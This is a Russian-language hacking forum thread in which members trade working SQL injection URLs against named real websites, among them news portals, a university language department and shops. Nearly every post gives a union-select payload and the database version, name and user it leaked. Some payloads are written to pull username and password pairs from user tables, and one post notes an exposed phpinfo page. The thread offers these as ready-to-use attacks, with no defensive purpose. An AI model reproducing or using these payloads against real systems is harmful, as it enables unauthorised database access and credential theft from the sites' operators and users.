SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Итальянский аналог журнала ][:)

    Code:
    http://www.hackerjournal.it/hj/index.php?name=PNphpBB2&file=index&c=1' 
    
    Could not query categorie parm SELECT * FROM nuke_phpbb_categories WHERE cat_id=1\' 
    
    http://www.hackerjournal.it/hj/index.php?name=PNphpBB2&file=index&c=1+and+substring(version(),1,1)=5 
    
    http://www.hackerjournal.it/hj/index.php?name=PNphpBB2&file=index&c=1/**/union/**/select/**/1,version(),3,4,5/**/limit/**/1,1/* 
    
    http://www.hackerjournal.it/hj/index.php?name=PNphpBB2&file=index&c=1/**/union/**/select/**/1,concat_ws(0x3a,username,user_password),3,4,5+from+nuke_phpbb_users/**/limit/**/2,1/*
    
     
    1 person likes this.
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://mobile.shortz-tv.com/index.php?p=cat;id=-1'+union+select+concat_ws(0x3a,user(),database(),version())+--+;lng=en

    ohmtv@localhost:5.0.51a-24+lenny1-log

    ####################################
    http://www.trace.tv/emission.php?id=1'+union+select+1,concat_ws(0x3a,database(),user(),version()),3,4,5,6,7,8,9,10+/*+

    tracetv:tracetv@localhost:5.0.45

    ####################################
    http://www.cinefestbrasil.com/admin2/filmes/tv.php?id=1+and+substring(version(),1,1)=5--

    ####################################
    http://www.studio52.tv/audio_home.php?id=-1+union+select+1,2,3,4,5,6,concat_Ws(0x3a,user(),database(),version()),8,9,10,11,12,13,14

    [email protected]:studio52:5.0.37-community-nt
     
    _________________________
    #10102 HAXTA4OK, 14 Jul 2009
    Last edited: 14 Jul 2009
  3. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.sportcar-center.com/ru/news.php?type=2&id=-40+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user())--
    
    u46954:5.0.67-log:[email protected]

    Code:
    http://www.witec.de/en/company/witecnews/news.php?id=-40+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6--
    
    d004aa52:5.0.45-community-log:d004aa52@localhost
     
  4. Adm1n4eG

    Adm1n4eG Member

    Joined:
    27 Mar 2009
    Messages:
    24
    Likes Received:
    13
    Reputations:
    6
    mssql

    PR 4
    http://www.payglobal.com/index.asp?PID=1+or+1=@@version--


    PR 5
    http://robinzonada.ru/news/index.asp?id=123+or+1=@@version--

     
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.net-tv.at/ikt_videos/show_video.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16--

    5.0.75-community-log:nettvat_iktvideos:nettvat@localhost
     
    _________________________
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.ufms.spb.ru/fullnews.php?id=-76+union+select+1,version(),3--
    Database Version: 5.0.51a-3ubuntu5.4-log
    Database name: ufms_spb_ru
    User name: ufms_spb_ru@localhost

    -----------------------------------------------------------------------------------------------------------

    Code:
    http://www.rossi-potok.ru/page.php?id=-4'+union+select+version()/*
    Database Version: 4.0.17
    Database name: rossip
    User name: rossip@localhost

    -----------------------------------------------------------------------------------------------------------

    PR 5 ТИЦ 375
    Code:
    http://www.teatrdoc.ru/plays.php?id=-3+union+select+1,version(),3,4,5/*
    Database Version: 4.1.22
    Database name: kinoteatr_td
    User name: [email protected]
     
    #10106 Skofield, 15 Jul 2009
    Last edited: 15 Jul 2009
  7. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.southernsalestt.com/news.php?id=99999+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6--
    
    southern_db1:4.1.22-standard:southern_user1@localhost

    Code:
    http://www.rgbinteractive.com/company/news.php?id=99999+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4--
    
    rgb:5.0.45-community-nt:rgb@localhost
     
  8. Zombi ****

    Zombi **** Elder - Старейшина

    Joined:
    4 Apr 2009
    Messages:
    166
    Likes Received:
    183
    Reputations:
    17
    http://fondkadyrova.com/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    и хз шо оно сиптом прошолся результатов не дало кто поможет?
     
    4 people like this.
  9. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://stroyshop.info/news/arhive.php?id_groups=44+union+select+1,2,3,4,version

    (),6,7,8,9,10,11,12,13+/*+&typenews=1
    4.1.25

    http://www.detali.ru/cat/oem_NI1.asp?Serie=B14**'&Year=1999&B=-

    S'+UnIon+SeLecT+1,2,user,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+&E=GA16DE
    InfoViewer

    http://www.xenon55.ru/?did=-47+union+select+1,2,3,4,5,6,7,database

    (),9,10,11,12,13,14,15,16,17,18,19,20,21,22+--
    u38955
     
    1 person likes this.
  10. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    Вот ишо:

    HTML:
    http://www.genoterra.ru/news/comment.php?id=-5+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12--
    http://www.harrowgatehillfuture.co.uk/gill/comment.php?ID=-5+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--
    http://www.udka.ru/comment.php?id=-999+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    http://www.registrazii.net/comment.php?id=-999+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    http://www.projectconversation.com/projectnostalgia/comment.php?ID=-5+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5--
    http://www.bedroomconfession.com/comment.php?id=5+union+select+1,concat_ws(0x3a,version(),database(),user()),3--
    http://www.analisi.ru/info.php?id=-8+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4--
    http://www.ambler-soft.ru/info.php?section=dsp&id=-999+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5--
     
    1 person likes this.
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.adpv.com/marketplace-tv.php?id=-1+and+1=1+UnIoN+SeLeCT+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6,7,8,9+from+mysql.user--

    5.1.34-community-log:[email protected]:adpv

    phpinfo:
    http://www.adpv.com/phpinfo.php

    есть mysql.user и путь ...(( тока вот прав на запись нету (
     
    _________________________
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://nadin.com.ru/hist.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5
    Code:
    nadina@localhost:nadina_do:5.0.67-community-log
     
    2 people like this.
  13. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Version: 4.1.22-log
    User: www@localhost

    Научный сайт какой-то.
     
  14. s_p_a_m

    s_p_a_m Elder - Старейшина

    Joined:
    8 Feb 2008
    Messages:
    100
    Likes Received:
    58
    Reputations:
    4
    Pagerank: 7
    тИЦ: 190
    Notice: Undefined index: NID in D:\Inetpub\fpseroot\news\v-modify3.php on line 114
     
    #10114 s_p_a_m, 16 Jul 2009
    Last edited: 16 Jul 2009
    6 people like this.
  15. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.ateneolawjournal.com/articlemain.php?id=-131'+union+select+1,version(),3,4,5,6,7/*
    Database Version: 5.0.45-log
    Database name: ateneola_www
    User name: [email protected]
     
    1 person likes this.
  16. Fata1ex

    Fata1ex Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    703
    Likes Received:
    300
    Reputations:
    38
    www.helicom.hr
    PR3


    blind
    Code:
    http://www.helicom.hr/artikl.php?id=-12488+union+select+1,2,3,4,5,6,7,8,9,unhex(hex(concat_ws(0x3a,user(),version(),database()))),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+admin/*
    ДБ: helicom@localhost:4.1.11-Debian_4sarge7-log:helico
    Табличко: admin
     
    1 person likes this.
  17. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.millat.com/news.php?id=-7777+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9--
    
    millaturdu:5.0.75:[email protected]

    Code:
    http://www.bp-rumyancevo.ru/news.php?id=-2+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4--
    
    rumyancevo:5.0.51a:rumyancevo@localhost

    ankarpoker.ru - любителям покера :)
    Code:
    http://ankarpoker.ru/news.php?id=-1+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6--
    
    u181477:5.0.67-log:[email protected]
     
    2 people like this.
  18. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    PR4
    Code:
    http://economice.ulbsibiu.ro/rom/eStudy/profesori.php?ID=15'+union+select+1,2,version(),4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22/*
    Database Version: 5.0.27-log
    Database name: fac_economice
    User name: economice@localhost
     
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.rs.co.th/home/tv/tv_series.php?id=1+and+substring(version(),1,1)=5--
     
    _________________________
  20. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 5]
    Code:
    http://www.radiobanyoles.cat/noticia.php?id=-4691+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5&t=La+companyia+Yllana+torna+a+Banyoles+amb+el+seu+darrer+espectacle+Brokers
    5.0.32-Debian_7etch10-log:radiobanyoles_bd:radiobanyoles@localhost
    ===============================
    [PR 5]
    Code:
    http://www.aperitif-a-la-francaise.com/en/public/recettes/recette.php?id=-247+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17
    5.0.27-standard:aperitif_en:sopeuser@localhost
    ===============================
    [PR 4]
    Code:
    http://www.espavino.com/spain/wine.php?id=-2257+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10&wein=La%20Vi%C3%B1a
    5.0.45:14913_favoriten:14913_favoriten@localhost
    ===============================
    [PR 4]
    Code:
    http://modernlanguages.louisville.[COLOR=Lime]edu[/COLOR]/spanish/videos_spanish/show_video.php?id=-1067+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15&Video_Title=La%20lengua%20de%20las%20mariposas
    5.0.27-standard:cml-spanish:[email protected]
    Code:
    http://modernlanguages.louisville.edu/spanish/videos_spanish/show_video.php?id=-1067+union+select+1,concat_ws(0x3a,id,username,passwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+cml.users
    Code:
    http://modernlanguages.louisville.edu/spanish/videos_spanish/show_video.php?id=-1067+union+select+1,concat_ws(0x3a,id,username,passwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+spanish.users
    Code:
    http://modernlanguages.louisville.edu/spanish/videos_spanish/show_video.php?id=-1067+union+select+1,concat_ws(0x3a,id,username,passwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+trinity.user
    ===============================
    [PR 3]
    Code:
    http://www.domaine-la-fourmone.com/bouteille2_gb.php?id=-15+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17
    5.0.32-Debian_7etch8-log:my116691:[email protected]
     
    1 person likes this.
Thread Status:
Not open for further replies.